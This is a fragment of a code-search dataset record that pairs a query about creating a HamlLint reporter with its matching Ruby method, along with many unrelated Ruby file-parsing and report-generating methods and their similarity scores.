"def build\n\n @layout_path = bundle.layout_path\n\n # Render each filename. By default, the output goes to the resources\n # string\n @content_for_resources = ''\n entries.each { |fn| _render_one(fn) }\n\n # Finally, render the layout. This should produce the final output to\n # return\n input = File.read(@layout_path)\n \n # render using either erb or haml\n case File.extname(@layout_path)\n when /\\.rhtml$/, /\\.html.erb$/\n return eval(Erubis::Eruby.new.convert(input))\n when /\\.haml$/, /\\.html.haml$/\n require 'haml'\n return Haml::Engine.new(input).to_html(self)\n end\n end",
"def finished_file(_file, _lints); end",
"def format(path, text)\n ad_hoc_config = fork_config(path, text, format: true)\n capture_rubocop_stdout(ad_hoc_config)\n ad_hoc_config.rubocop_options[:stdin]\n end",
"def process_input(file)\n if file == '-'\n read_stdin\n else\n call_write(\n process_input_file(load_data(Pathname.new(file)).split(\"\\n\"))\n )\n end\n end",
"def process_content(path)\n case path.extname\n when '.htm', '.md'\n read_split_content(path.to_s, symbolize_keys: true)\n # when '.md'\n # body, data = read_split_content(path.to_s, symbolize_keys: true)\n # [Kramdown::Document.new(body).to_html, data]\n when '.yml'\n [nil, YAML.load(File.read(path.to_s), symbolize_names: true)]\n end\n end",
"def initialize(file_path)\n\n @title, @abstract = \"\", \"\"\n @metadata = {}\n\n if file_path\n\n @file_path = File.expand_path(file_path)\n\n # Read the YAML front matter.\n convertible = OpenStruct.new.extend(Jekyll::Convertible)\n @metadata = convertible.read_yaml(File.dirname(@file_path), File.basename(@file_path))\n\n # Scrub the YAML out of the markdown.\n markdown = File.read(@file_path).sub(/---(.|\\n)*---/, '')\n\n # Parse the cleaned markdown.\n renderer = Redcarpet::Markdown.new(Redcarpet::Render::HTML)\n document = Nokogiri::HTML::fragment(renderer.render(markdown))\n\n # Set the title.\n header = document.at_css('h1')\n @title = header.text\n header.remove\n\n # Set the abstract.\n @abstract = document.to_s.strip\n\n end\n\n end",
"def prepareFile(infile, outfile)\r\n \r\n infileIo=File.new(infile)\r\n text = infileIo.readlines.join\r\n infileIo.close\r\n \r\n #include pdf files\r\n \r\n if @target == \"pdf\"\r\n text.gsub!(INCLUDE_PDF_PATTERN){|m| \r\n \r\n if $4\r\n pages=\"[pages=#{$4}]\"\r\n else\r\n pages=\"\"\r\n end\r\n \r\n if $5\r\n clearpage=$5\r\n else\r\n clearpage=\"cleardoublepage\"\r\n end\r\n \r\n if $3.length > 0\r\n level=$3\r\n else\r\n level=9\r\n end\r\n \r\n \"\\n\\n\\\\#{clearpage}\\n\\\\bookmark[level=#{level},page=\\\\thepage]{#{$2}}\\n\\\\includepdf#{pages}{#{$1}}\"\r\n }\r\n else #if not pdf then it gets a regular external link\r\n text.gsub!(INCLUDE_PDF_PATTERN){|m|\r\n \"[#{$2}](#{$1})\"\r\n } \r\n end\r\n \r\n #inject the anchors for references to traces ->[traceid]\r\n if @target == \"pdf\" then\r\n text.gsub!(TRACE_ANCHOR_PATTERN){|m| \"[#{$1}]#{$2}\\\\hypertarget{#{mkInternalTraceId($1)}}{}\"}\r\n else\r\n text.gsub!(TRACE_ANCHOR_PATTERN){|m| \"<a id=\\\"#{mkInternalTraceId($1)}\\\">[#{$1}]</a>#{$2}\"}\r\n end\r\n \r\n #substitute arbitrary anchors for arbitrary targets <a id=\"\">\r\n if @target == \"pdf\" then\r\n text.gsub!(ANY_ANCHOR_PATTERN){|m| \"\\\\hypertarget{#{mkInternalTraceId($1)}}{}\"}\r\n else\r\n # it is already html\r\n end\r\n \r\n #substitute arbitrary document internal references <a href=\"\"></a>\r\n if @target == \"pdf\" then\r\n text.gsub!(ANY_REF_PATTERN){|m| \"\\\\hyperlink{#{$1}}{#{mkTexTraceDisplay($2)}}\"}\r\n else\r\n # it is already html\r\n end\r\n \r\n # substitute the uptrace references\r\n text.gsub!(UPTRACE_REF_PATTERN){|m| \"}(#{prepareTraceReferences($1)})\"}\r\n \r\n # substitute the informal trace references\r\n text.gsub!(TRACE_REF_PATTERN){|m| \"[#{prepareTraceReferences($1)}]\"}\r\n \r\n File.open(outfile, \"w\"){|f| f.puts(text)}\r\n end",
"def parse_file(file)\n File.open(file) do |f|\n parse_snippet(f.read)\n end\n end",
"def load(fn)\n return if ! File.exists?(fn)\n lines = File.read fn\n lines.gsub!(/\\\\ /, SPACE_MARK)\n lines.gsub!(/#[^\\n]*\\n/m, \"\")\n lines.gsub!(/\\\\\\n/, ' ')\n lines.each_line do |line|\n process_line(line)\n end\n end",
"def initialize(filepath)\n puts \"Give an appropriate response to each category. Note that parenthesis within placeholders are NOT supported.\"\n story = File::read(filepath) #FIXME: Do I want to be putting the whole file into story? What if it's long?\n print parse(story)\n end",
"def format_io input\n input.each_line do |line|\n output.write format_log_line(line)\n end\n end",
"def transform(fl, cnf)\n begin\n @cnf = cnf\n \n # Collecting the file content into an array for easy navigation\n @cntnt = File.new(fl).readlines\n \n @clm_fl_info = ClaimFileInformation.new\n @clm_fl_info.claim_informations << process_claim\n collect_file_info(fl)\n \n # @clm_fl_info.save!\n p clm_fl_info\n rescue => err\n puts err.message\n LogManager.log_ror_exception(err,\"message\")\n end \n end",
"def store\n @files.each do |file, lines|\n text = \"\"\n dirty = false\n lines.each do |l|\n if l.is_a?(Section)\n dirty ||= l.dirty?\n text << l.format\n l.mark_clean\n else\n text << l\n end\n end\n if dirty\n Puppet::Util::FileType.filetype(:flat).new(file).write(text)\n return file\n end\n end\n end",
"def convert(input, file_path = nil)\n render process parse(input, file_path)\n end",
"def initialize(top_level, file_name, content, options, stats)\n super\n\n preprocess = RDoc::Markup::PreProcess.new @file_name, @options.rdoc_include\n\n @content = preprocess.handle @content, @top_level\n end",
"def validate\n schema_file = options.pml_schema_file\n unless schema_file\n platin_lib_dir = File.dirname(File.dirname(File.absolute_path(__FILE__)))\n schema_file = File.join(platin_lib_dir,\"core\",\"pml.yml\")\n end\n schema = YAML.load_file(schema_file)\n # create validator\n validator = Kwalify::Validator.new(schema)\n # validate\n validation_errors = validator.validate(pml.data)\n # show errors\n if validation_errors && !validation_errors.empty?\n for e in validation_errors\n warn \"[#{e.path}] #{e.message}\"\n end\n end\n die(\"Invalid PML file\") unless validation_errors.empty?\n info(\"No YAML validation errors\")\n\n # additional semantic validations\n validate_rgs(pml.relation_graphs)\n validate_timing(pml.timing)\n end",
"def process_file(file)\n @first_comment = false\n \n d = CodeFile.create_or_update_by_full_name :name => file.file_relative_name, :full_name => file.file_absolute_name\n\n @containers << d.id\n orig_file = File.new(file.file_absolute_name)\n lines = orig_file.readlines\n CLASSES[file.file_absolute_name].each do |key, klass|\n CLASSES[file.file_absolute_name][key][:line] = lines[klass[:line_no] - 1]\n end if CLASSES[file.file_absolute_name]\n MODULES[file.file_absolute_name].each do |key, mod|\n MODULES[file.file_absolute_name][key][:line] = lines[mod[:line_no] - 1]\n end if MODULES[file.file_absolute_name]\n\n # Process all of the objects that this file contains\n file.method_list.each { |child| process_method(child, file) }\n file.aliases.each { |child| process_alias(child, file) }\n file.constants.each { |child| process_constant(child, file) }\n file.requires.each { |child| process_require(child, file) }\n file.includes.each { |child| process_include(child, file) }\n file.attributes.each { |child| process_attribute(child, file) } \n\n # Recursively process contained subclasses and modules\n @file = file\n RDoc::TopLevel.all_classes_and_modules.each do |child| \n process_type_or_module(child, file) \n end\n \n comment = CodeComment.create_or_update_by_owner_id_and_owner_type_and_owner_type :exported_body => file.comment, :owner_id => d.id, :owner_type => d.class unless file.comment.blank? || Digest::MD5.hexdigest(file.comment) == @first_comment\n @comments << comment.id if comment\n \n end",
"def process_file(path)\n code = File.read(path)\n sexp_node = RubyParser.new.parse(code)\n file = Mago::RubyFile.new(path)\n\n sexp_processor = Mago::SexpProcessor.new(file, @ignore)\n sexp_processor.process(sexp_node)\n\n @report.files << file\n @on_file.call(file) if @on_file\n rescue Errno::ENOENT => err\n handle_error(err.message)\n rescue Racc::ParseError, Encoding::CompatibilityError => err\n msg = \"#{path} has invalid ruby code. \" << err.message\n handle_error(msg)\n end",
"def parse_file\n @file ||= File.open(@file_name) unless @file_name.nil?\n @text = @file.readlines\n @file.close unless @file.nil?\n parse_text\n end",
"def set_yaml_stream(format,yaml_stream)\n\n m = yaml_stream.match /^(---.+?---\\n)(.*)$/m\n raise \"failed to parse yaml stream\\n#{yaml_stream}\" unless m\n\n attributes_yaml = m[1]\n txt = m[2]\n\n enml = self.class.format_to_enml(format,txt)\n attributes_hash = YAML.load(attributes_yaml)\n \n # process tag names\n # allow for comma separated tag list\n tag_names = attributes_hash['tagNames']\n tag_names = tag_names.split(/\\s*,\\s*/) if tag_names.instance_of?(String)\n\n self.title = attributes_hash['title']\n self.tagNames = attributes_hash['tagNames']\n self.content = enml\n end",
"def create\n tmpl = ERB.new(load_erb_file('rubocop/rubocop.yml'))\n data = tmpl.result(binding)\n\n info 'Setting up Rubocop configuration'\n write_file(cookbook_file_path('.rubocop.yml'), data)\n end",
"def run\n parse_options\n Calamum::Config.apply(config)\n @definition = Calamum::DocParser.new(load_source)\n @definition.load_resources\n Calamum::DocGenerator.init_base_dir\n process_index\n\n if config[:template] == 'twitter'\n process_pages\n process_section(\"overview\", @definition.get_description)\n process_section(\"authentication\", @definition.get_authentication)\n process_errors\n end\n rescue => ex\n puts_error ex.message\n end",
"def load_yardoc(file = T.unsafe(nil)); end",
"def load_state file=nil\n file=App.outpath + \"save.rb\" if file.nil?\n f=File.open(file,'r')\n content=f.read\n # puts content\n App.out= YAML.load(content)\n f.close\nend",
"def handle_stdout(output)\n yaml = output =~ /^(---\\n\\S+\\:\\n.+)/m && $1\n yaml && YAML.load(yaml)\n end",
"def parse_file\n @filecontent ||= File.read(@filepath)\n end",
"def read\n Fepath.logger.debug \"Reading: #{filepath}\"\n\n begin\n self.content = File.read(filepath)\n match_data = YAML_FRONT_MATTER_REGEXP.match(content)\n if match_data\n self.content = match_data.post_match\n self.attributes.merge!(YAML.load(match_data[1]))\n end\n rescue SyntaxError => e\n Fepath.logger.fatal \"YAML Exception reading #{filepath}: #{e.message}\"\n rescue Exception => e\n Fepath.logger.fatal \"Error reading file #{filepath}: #{e.message}\"\n end\n\n return self\n end",
"def transform_file\n @transform_file ||= File.join(staging_dir, \"doc-transform\")\n end",
"def parse(fname)\r\n puts \"Parsing file.\" unless (!verbose?)\r\n ctxListener = ContextListener.new(@context)\r\n ctxListener.verbose = @verbose\r\n parser = Parsers::StreamParser.new(File.new(fname), ctxListener)\r\n parser.parse\r\n\r\n\r\n puts \"Parsing guideline.\" unless (!verbose?)\r\n gdlListener = GdlListener.new(@context) # Gets rule and ruleset names and aliases.\r\n gdlListener.verbose = @verbose\r\n parser = Parsers::StreamParser.new(File.new(fname), gdlListener)\r\n parser.parse\r\n\r\n\r\n puts \"Parsing rule XML.\" unless (!verbose?)\r\n ruleListener = RuleListener.new(@context)\r\n ruleListener.verbose = @verbose\r\n parser = Parsers::StreamParser.new(File.new(fname), ruleListener)\r\n parser.parse\r\n end",
"def parse_file()\n\n if !self.has?()\n return\n end\n\n @logs = {}\n @configs = {}\n current_index = 0\n current_config = {}\n parsing_config = false\n config_script = \"\"\n\n ::IO.foreach(self.path()) do |line|\n line.strip!\n if line.match(/\\}/)\n parsing_config = false\n @configs[current_index] = current_config\n current_config = {}\n current_index += 1\n config_script = \"\"\n\n else\n\n if parsing_config\n config = line.split(/\\s+/, 2)\n config.reject!(&:empty?) # Oh Ruby, why do you have 10 ways to do everything?\n #config[0].strip!\n\n if config[0] == \"postrotate\"\n config_script = config[0]\n current_config[config[0]] = []\n\n else\n\n if config_script != \"\"\n if config[0] == \"endscript\"\n current_config[config_script] << config[0]\n #current_config[config[0]] = \"\"\n config_script = \"\"\n\n else\n #line.strip!\n current_config[config_script] << line\n\n end\n\n else\n val = true\n if config.length == 2\n val = config[1]\n end\n current_config[config[0]] = val\n\n end\n end\n\n else\n logs = line.split(/\\s+/)\n logs.reject! { |c| c.empty? || c == \"{\" } # remove blank entries\n logs.each do |log|\n log.strip!\n @logs[log] = current_index\n end\n\n if line.match(/\\{/)\n parsing_config = true\n end\n\n end\n\n end\n\n\n end # foreach\n\n end",
"def parse_file filename\n encoding = @options.encoding\n filename = filename.encode encoding\n\n @stats.add_file filename\n\n return if RDoc::Parser.binary? filename\n\n content = RDoc::Encoding.read_file filename, encoding\n\n return unless content\n\n filename_path = Pathname(filename).expand_path\n begin\n relative_path = filename_path.relative_path_from @options.root\n rescue ArgumentError\n relative_path = filename_path\n end\n\n if @options.page_dir and\n relative_path.to_s.start_with? @options.page_dir.to_s then\n relative_path =\n relative_path.relative_path_from @options.page_dir\n end\n\n top_level = @store.add_file filename, relative_name: relative_path.to_s\n\n parser = RDoc::Parser.for top_level, filename, content, @options, @stats\n\n return unless parser\n\n parser.scan\n\n # restart documentation for the classes & modules found\n top_level.classes_or_modules.each do |cm|\n cm.done_documenting = false\n end\n\n top_level\n\n rescue Errno::EACCES => e\n $stderr.puts <<-EOF\nUnable to read #{filename}, #{e.message}\n\nPlease check the permissions for this file. Perhaps you do not have access to\nit or perhaps the original author's permissions are to restrictive. If the\nthis is not your library please report a bug to the author.\n EOF\n rescue => e\n $stderr.puts <<-EOF\nBefore reporting this, could you check that the file you're documenting\nhas proper syntax:\n\n #{Gem.ruby} -c #{filename}\n\nRDoc is not a full Ruby parser and will fail when fed invalid ruby programs.\n\nThe internal error was:\n\n\\t(#{e.class}) #{e.message}\n\n EOF\n\n $stderr.puts e.backtrace.join(\"\\n\\t\") if $DEBUG_RDOC\n\n raise e\n nil\n end"
] | [
"0.6078255",
"0.5819208",
"0.57192457",
"0.5710995",
"0.561803",
"0.558675",
"0.5581003",
"0.557709",
"0.5574326",
"0.55721617",
"0.55469596",
"0.5520805",
"0.55186105",
"0.5500178",
"0.54884994",
"0.54596806",
"0.54511625",
"0.5404621",
"0.5363552",
"0.53429085",
"0.53429085",
"0.53242683",
"0.53209466",
"0.52792245",
"0.5271523",
"0.52621216",
"0.5261773",
"0.52493125",
"0.5246888",
"0.52285594",
"0.52270573",
"0.52251565",
"0.5189834",
"0.51816237",
"0.5157581",
"0.51422447",
"0.5133818",
"0.51332426",
"0.5128026",
"0.5120906",
"0.5117775",
"0.5114164",
"0.51010704",
"0.51005274",
"0.5087208",
"0.508241",
"0.505986",
"0.5049131",
"0.5047809",
"0.5045438",
"0.5030402",
"0.50302184",
"0.5028863",
"0.50227094",
"0.5010667",
"0.50071937",
"0.50000125",
"0.49953276",
"0.49879014",
"0.49746084",
"0.4965017",
"0.49634975",
"0.49346954",
"0.4932511",
"0.49313003",
"0.492992",
"0.4922401",
"0.4911753",
"0.4908367",
"0.490747",
"0.48986384",
"0.48891893",
"0.488216",
"0.48790717",
"0.48787513",
"0.4877632",
"0.48766384",
"0.48743165",
"0.4866534",
"0.48562756",
"0.48562014",
"0.4848992",
"0.48463213",
"0.48400748",
"0.483642",
"0.48349756",
"0.48261476",
"0.4821903",
"0.48212454",
"0.4820597",
"0.4814836",
"0.4811431",
"0.48100623",
"0.4810013",
"0.4806316",
"0.48051268",
"0.47977155",
"0.4795972",
"0.47908077",
"0.4790456",
"0.47884765"
] | 0.0 | -1 |
Instantiates the reporter to generate the HamlLint report | def reporter
@reporter ||= ::HamlLint::Reporter::HashReporter.new(
::HamlLint::Logger.new(StringIO.new)
)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def runner\n @runner ||= ::HamlLint::Runner.new\n end",
"def display_report(report)\n super\n\n File.write(ConfigurationLoader::AUTO_GENERATED_FILE, config_file_contents)\n log.log \"Created #{ConfigurationLoader::AUTO_GENERATED_FILE}.\"\n log.log \"Run `haml-lint --config #{ConfigurationLoader::AUTO_GENERATED_FILE}`\" \\\n \", or add `inherits_from: #{ConfigurationLoader::AUTO_GENERATED_FILE}` in a \" \\\n '.haml-lint.yml file.'\n end",
"def initialize( output ) # :notnew:\n\t\tsuper\n\t\t@previous_nesting_depth = 0\n\t\t@failcounter = 0\n\t\t@snippet_extractor = RSpec::Core::Formatters::HtmlSnippetExtractor.new\n\t\t@example_templates = {\n\t\t\t:passed => self.load_template(PASSED_EXAMPLE_TEMPLATE),\n\t\t\t:failed => self.load_template(FAILED_EXAMPLE_TEMPLATE),\n\t\t\t:pending => self.load_template(PENDING_EXAMPLE_TEMPLATE),\n\t\t\t:pending_fixed => self.load_template(PENDFIX_EXAMPLE_TEMPLATE),\n\t\t}\n\n\t\t@deprecation_stream = []\n\t\t@summary_stream = []\n\t\t@failed_examples = []\n\n\t\t@deprecations = Set.new\n\n\t\tThread.current['logger-output'] = []\n\tend",
"def report\n super\n\n begin\n puts \"Writing HTML reports to #{@reports_path}\"\n erb_str = File.read(@erb_template)\n renderer = ERB.new(erb_str)\n\n tests_by_suites = tests.group_by { |test| test_class(test) } # taken from the JUnit reporter\n\n suites = tests_by_suites.map do |suite, tests|\n suite_summary = summarize_suite(suite, tests)\n suite_summary[:tests] = tests.sort { |a, b| compare_tests(a, b) }\n suite_summary\n end\n\n suites.sort! { |a, b| compare_suites(a, b) }\n\n result = renderer.result(binding)\n File.open(html_file, 'w') do |f|\n f.write(result)\n end\n\n # rubocop:disable Lint/RescueException\n rescue Exception => e\n puts 'There was an error writing the HTML report'\n puts 'This may have been caused by cancelling the test run'\n puts 'Use mode => :verbose in the HTML reporters constructor to see more detail' if @mode == :terse\n puts 'Use mode => :terse in the HTML reporters constructor to see less detail' if @mode != :terse\n raise e if @mode != :terse\n end\n # rubocop:enable Lint/RescueException\n end",
"def initialize\n envConfigFile = \"#{$ROOT}/../config/envConfig.yml\"\n @envConfig = loadYAMLFile(envConfigFile)\n stepsFile = \"#{$ROOT}/../config/steps.csv\"\n @steps = loadCSVFile(stepsFile)\n pageObjectsFile = \"#{$ROOT}/../config/pageObjects.csv\"\n @pageObjects = loadCSVFile(pageObjectsFile)\n @reportFolder = generatedReportFolder\n @isProcess = true\n @skipCurrentStep = false\n @report = []\n end",
"def initialize(report)\n @report = report\n\n init\n end",
"def initialize(&formatter) \n\t\t@title = 'Monthly Report' \n\t\t@text = [ 'Things are going', 'really, really well.' ] \n\t\t@formatter = formatter\n\tend",
"def initialize\n @collection = {}\n @filters = {}\n @outputs = []\n add_output do |report|\n\n erb = Erubis::Eruby.new(File.read(@template))\n puts erb.evaluate(report)\n rescue NameError => e\n raise Error::ErbTemplateParseError.new(original_error: e.message)\n\n end\n @template = ChefSpec.root.join(\"templates\", \"coverage\", \"human.erb\")\n end",
"def initialize(report)\n @report = report\n end",
"def initialize(income_expense_report)\n init_chart_labels(income_expense_report)\n init_graphs(income_expense_report)\n #do_test()\n end",
"def initialize\n self.report = {}\n self.errors = 0\n self.failures = 0\n self.skips = 0\n self.test_count = 0\n self.assertion_count = 0\n self.verbose = false\n self.reporters = []\n\n @_source_cache = {}\n end",
"def run\n print_line\n print_status 'Creating HTML report...'\n\n plugins = format_plugin_results( auditstore.plugins )\n @base_path = File.dirname( options['tpl'] ) + '/' +\n File.basename( options['tpl'], '.erb' ) + '/'\n\n title_url = auditstore.options['url']\n begin\n title_url = uri_parse( auditstore.options['url'] ).host\n rescue\n end\n\n params = prepare_data.merge(\n title_url: escapeHTML( title_url ),\n audit_store: auditstore,\n plugins: plugins,\n base_path: @base_path\n )\n\n File.open( outfile, 'w' ) { |f| f.write( erb( options['tpl'], params ) ) }\n\n print_status \"Saved in '#{outfile}'.\"\n end",
"def initialize(name, title, salary, boss, reports)\n super(name, title, salary, boss)\n @reports = reports\n end",
"def load_report(report)\n report.configuration_source(config_source_1)\n report.configuration_source(config_source_2)\n report.configuration_directive(config_directive, config_directive_value)\n report.scan_passed(scanner_1, scanner_1_passed)\n report.scan_info(scanner_1, scanner_1_info_type_1, scanner_1_info_type_1_message_1)\n report.scan_info(scanner_1, scanner_1_info_type_1, scanner_1_info_type_1_message_2)\n report.scan_info(scanner_1, scanner_1_info_type_2, scanner_1_info_type_2_message_1)\n report.scan_stdout(scanner_1, scanner_1_stdout)\n report.scan_info(scanner_2, scanner_1_info_type_1, scanner_1_info_type_1_message_1)\n report.scan_stderr(scanner_2, scanner_2_stderr)\n report.salus_info(salus_info_type_1, salus_info_type_1_message_1)\n report.salus_info(salus_info_type_1, salus_info_type_1_message_2)\n report.salus_info(salus_info_type_2, salus_info_type_2_message_1)\n report.salus_error(salus_error_1_class, salus_error_1_data)\n report.salus_error(salus_error_2_class, salus_error_2_data)\n report.salus_runtime_error(salus_runtime_error_data)\n report\n end",
"def initialize config_path = nil\n @config = Configuration.new(config_path)\n @errors = {}\n\n generate_jshintrc_file\n end",
"def initialize(args = {})\n super({})\n\n defaults = {\n :title => 'Test Results',\n :erb_template => \"#{File.dirname(__FILE__)}/../templates/index.html.erb\",\n :reports_dir => ENV['MINITEST_HTML_REPORTS_DIR'] || 'test/html_reports',\n :mode => :safe,\n :output_filename => ENV['MINITEST_HTML_REPORTS_FILENAME'] || 'index.html',\n }\n\n settings = defaults.merge(args)\n\n @mode = settings[:mode]\n @title = settings[:title]\n @erb_template = settings[:erb_template]\n @output_filename = settings[:output_filename]\n reports_dir = settings[:reports_dir]\n\n @reports_path = File.absolute_path(reports_dir)\n end",
"def initialize(cfg,log)\n @cfg=cfg\n @log=log\n\n @log.info \"------------------------------------------------------------\"\n @log.info \"This is the test suite for restful API test!\"\n\n puts \"------------------------------------------------------------\"\n puts \"This is the test suite for restful API test!\"\n end",
"def reporter(name); end",
"def initialize\n @warnings = []\n @template_warnings = []\n @model_warnings = []\n @controller_warnings = []\n @checks_run = []\n end",
"def reporter\n @reporter ||= decorate_reporter(reporter_class.new($stdout, reporter_options))\n end",
"def html_report(test_report, extra_report_header)\n\n html_report = <<-EOS\n <html>\n EOS\n\n html_style = <<-EOS\n <style>\n body {background-color: #FFFFF0; font-family: \"VAG Round\" ; color : #000080;font-weight:normal;word-break: break-all;}\n #specs-table{font-family:Arial,Helvetica,Sans-serif;font-size:12px;text-align:left;border-collapse:collapse;border-top: 2px solid #6678B1;border-bottom: 2px solid #6678B1;margin:20px;}\n #specs-table th{font-size:13px;font-weight:normal;background:#b9c9fe;border-top:4px solid #aabcfe;border-bottom:1px solid #fff;color:#039;padding:8px;}\n #specs-table td{background:#e8edff;border-top:1px solid #fff;border-bottom:1px solid #fff;color:#039;padding:8px;}\n #specifications{font-family:Arial,Helvetica,Sans-serif;font-size:13px;width:480px;background:#fff;border-collapse:collapse;text-align:left;margin:20px;border:1px solid #ccc;}\n #specifications th{font-size:14px;font-weight:bold;color:#039;border-bottom:2px solid #6678b1;padding:10px 8px;}\n #specifications td{border-bottom:1px solid #ccc;color:#009;padding:6px 8px;}\n #statuspass{font-family:Arial,Helvetica,Sans-serif;font-size:12px;color:green;font-weight:bold;}\n #statusfail{font-family:Arial,Helvetica,Sans-serif;font-size:12px;color:red;font-weight:bold;}\n #tcs{font-family:Arial,Helvetica,Sans-serif;font-size:13px;background:#fff;width:900px;border-collapse:collapse;text-align:left;margin:20px;border:1px solid #ccc;}\n #tcs th{font-size:14px;font-weight:bold;color:#039;border-bottom:2px solid #6678b1;padding:10px 8px;}\n #tcs td{border-bottom:1px solid #ccc;color:#009;padding:6px 8px;}\n #checkpoint{font-family:Arial,Helvetica,Sans-serif;font-size:13px;background:#fff;width:900px;border-collapse:collapse;text-align:left;margin:20px;border:1px solid #ccc;}\n #checkpoint td{border-bottom:1px solid #ccc;color:#009;padding:6px 8px;}\n #container{margin: 0 30px;background: #fff;border:1px solid #ccc;}\n #header{background: #e8edff;padding: 2px;border-bottom: 2px solid #6678b1;}\n #steps{background: #e8edff;font-weight: bold;}\n #dp{font-weight: bold;}\n #validations{font-weight: bold;}\n #content{clear: left;padding: 10px;}\n #footer{background: #e8edff;text-align: right;padding: 10px;}\n </style>\n EOS\n\n title = <<-EOS\n <head><title>#{test_report[:test_suite_title]}</title></head>\n\n <body>\n EOS\n\n html_report += html_style + title\n\n report_header = <<-EOS\n <center>\n\n <a name=#{replace_space_by_dash(test_report[:test_suite_title])}></a>\n <table id=\"specifications\">\n <th align=\"center\">#{test_report[:test_suite_title]}</th>\n <tr><td>Test specification: #{test_report[:test_spec_path]}</td></tr>\n <tr><td>Kadu server: #{test_report[:kadu_server]}</td></tr>\n EOS\n @test_report[:test_cases].each do |tc_id, tc|\n if tc.has_key?(:server_info)\n report_header += <<-EOS\n <tr><td>Kadu branch: #{tc[:server_info][:kadu_branch]}</td></tr>\n <tr><td>Kadu version: #{tc[:server_info][:kadu_version]}</td></tr>\n <tr><td>Kadu index: #{tc[:server_info][:kadu_index]}</td></tr>\n EOS\n break\n end\n end\n if !extra_report_header.nil?\n details = extra_report_header.split(\"\\n\")\n details.each do |line|\n report_header += <<-EOS\n <tr><td>#{line}</td></tr>\n EOS\n end\n end\n test_suite_time_in_secs = Time.parse(test_report[:test_suite_completed_time].to_s) - Time.parse(test_report[:test_suite_start_time].to_s)\n\n report_header += <<-EOS\n <tr><td>Test suite started On: #{test_report[:test_suite_start_time]}</td></tr>\n <tr><td>Duration: #{test_suite_time_in_secs} secs</td></tr>\n <tr><td>Test suite status: <font id=#{status(test_report[:test_suite_result_status])}>#{test_report[:test_suite_result_status]}</font></td></tr>\n </table>\n <br>\n EOS\n report_tc_summary = <<-EOS\n <table id=\"tcs\">\n <tr>\n <th >Test Case</th>\n <th >Test Case Status</th>\n </tr>\n EOS\n\n test_report[:test_cases].each do |tc_id, tc|\n report_tc_summary += <<-EOS\n <tr>\n <td><a href=\"##{tc_id}\">#{tc_id}: #{tc[:title]}</a></td><td><font id=#{status(tc[:test_case_result_status])}>#{tc[:test_case_result_status]}</font></td>\n </tr>\n EOS\n end\n\n report_tc_summary += <<-EOS\n </table>\n <br>\n <h4>#{test_report[:test_suite_description]}</h4>\n <br>\n </center>\n EOS\n test_cases = \"\"\n test_report[:test_cases].each do |tc_id, tc|\n test_case = <<-EOS\n <div id=\"container\" style=\"word-break: break-all;width:100%;\">\n <div id=\"header\">\n <h4>\n <p><a name=\"#{tc_id}\">#{tc_id}: #{tc[:title]}</a></p>\n <p>#{tc[:description]}</p>\n <p>Test result status: <font id=#{status(tc[:test_case_result_status])}>#{tc[:test_case_result_status]}</font></p>\n </h4>\n </div>\n <div id=\"content\">\n <h4>\n Steps to reproduce\n </h4>\n EOS\n\n tc[:test_steps].each do |step_id, step|\n test_steps = <<-EOS\n <p id=\"steps\">#{step_id}</p>\n EOS\n\n if step.has_key?(:action) || step.has_key?(:mt_url)\n test_steps += <<-EOS\n <p style=\"word-break: break-all;\" width=900px >URL: #{step[:action]}</p>\n EOS\n end\n\n if step.has_key?(:dynamic_params)\n test_steps += <<-EOS\n <p id=\"dp\">Dynamic Parameters</p>\n EOS\n\n exclusion_term = \"set @kadu_response\"\n step[:dynamic_params].each do |parameter, expression|\n expression = exclusion_term if expression.to_s.include?(exclusion_term)\n test_steps += <<-EOS\n <p>#{parameter} = #{expression}</p>\n EOS\n end\n end\n\n if step.has_key?(:validation_steps)\n\n test_steps += <<-EOS\n <p id=\"validations\">\n Validations\n </p>\n <table id=\"checkpoint\">\n EOS\n\n step[:validation_steps].each do |vstep, result|\n steps = <<-EOS\n <tr>\n <td colspan=\"2\" width=\"90%\">\n <p>#{vstep}</p>\n <p>#{result[\"test_result_message\"]}</p>\n </td>\n <td width=\"10%\" rowspan=\"1\" align=\"center\"><font id=#{status(result[\"test_result_status\"])}>#{result[\"test_result_status\"]}</font></td>\n </tr>\n EOS\n test_steps += steps\n end\n\n test_steps += <<-EOS\n </table>\n EOS\n\n end\n test_case += test_steps\n end\n test_cases += test_case\n test_cases += <<-EOS\n </div>\n <div id=\"footer\">\n <a href=\"##{replace_space_by_dash(test_report[:test_suite_title])}\">back to test suite</a> <a href=\"#summary\">back to summary</a>\n\t </div>\n </div>\n <br>\n EOS\n end\n\n report_footer = <<-EOS\n <br>\n <hr>\n <br>\n </body>\n </html>\n EOS\n\n html_report += report_header + report_tc_summary + test_cases + report_footer\n\n html_report\n end",
"def initialize(options = {})\n super\n @print_failure_summary = options[:print_failure_summary]\n end",
"def initialize(output,options)\n @output = output\n @root_dir = options['guide-dir']\n @rule_renderer = RuleRenderer.new(@output,options)\n @preamble = File.read(options['preamble'])\n end",
"def create_report()\n report = <<STR_END\n#### STEPS TO REPRODUCE BUG ####\n\n#{@list_steps_text.get_value}\n\n\n#### DESCRIPTION OF BUG ####\n\n#{@description_text.get_value}\n\n--#{@reproduce_check.get_value}\n--#{@past_check.get_value}\n\n\n#### SESSION LOG ####\n\n#{@parent.log_text.get_value}\n\n\n--------------------------------------------------------------------------------\n#{IO.readlines($attr[:name]).join(\"\\n\") if $attr[:name]}\nSTR_END\n \n fname = \"bugs/#{Time.now.to_s.split(\" \").join(\"_\")}_#{$attr[:name].split(/[\\/\\\\]/).join(\"_\") if $attr[:name]}_bug\"\n File.open(fname, 'w') {|fout| fout.write(report)}\n prompt = MessageDialog.new(self, \"Bug report saved to file: #{fname}\\nPlease email this file to the developer!\",\n \"Bug Report Created\", OK)\n exit_dlg() if prompt.show_modal == ID_OK\n end",
"def initialize(report:, root:)\n @report = report\n @root = root\n end",
"def initialize\n @formatter = Yolo::Formatters::ProgressFormatter.new\n @error = Yolo::Formatters::ErrorFormatter.new\n check_config\n update_config\n end",
"def reporter\n reporter_class = RSpec::Core::Reporter\n\n if strategy.rspec2?\n reporter_class.new\n else\n reporter_class.new(strategy.configuration)\n end\n end",
